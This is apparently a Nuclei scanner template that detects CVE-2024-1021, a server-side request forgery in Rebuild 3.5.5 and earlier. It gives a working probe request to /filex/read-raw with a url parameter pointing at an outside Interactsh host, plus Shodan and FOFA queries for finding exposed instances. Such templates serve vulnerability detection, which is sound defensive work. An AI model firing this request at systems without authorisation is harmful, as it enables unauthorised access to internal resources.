Rebuild <= 3.5.5 - Server-Side Request Forgery

id: CVE-2024-1021

info:
  name: Rebuild <= 3.5.5 - Server-Side Request Forgery
  author: BMCel
  severity: critical
  description: |
    There is a security vulnerability in Rebuild 3.5.5, which is due to a server-side request forgery vulnerability in the URL parameter of the readRawText function of the HTTP Request Handler component.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources.
  remediation: |
    Apply the latest security patches or updates provided by Rebuild to fix this vulnerability.
  reference:
    - https://github.com/getrebuild/rebuild
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1021
    - https://vuldb.com/?ctiid.252290
    - https://vuldb.com/?id.252290
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-1021
    cwe-id: CWE-918
    epss-score: 0.34955
    epss-percentile: 0.98236
    cpe: cpe:2.3:a:ruifang-tech:rebuild:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ruifang-tech
    product: rebuild
    shodan-query: http.favicon.hash:"871154672"
    fofa-query: "icon_hash=\"871154672\""
  tags: cve2024,cve,rebuild,ssrf,ruifang-tech,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/filex/read-raw?url=http://oast.me&cut=1"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<h1> Interactsh Server </h1>")'
          - '!contains(body_1, "<h1> Interactsh Server </h1>")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a00473045022100adc572f272299c38406eab81ac609631567145055a13d9f49f43b481c91840460220363822d86a2f36b326fde2ae7c5bd240bbe58059f99c7a06efd3ffe70a836cb8:922c64590222798bb761d5b6d8e72950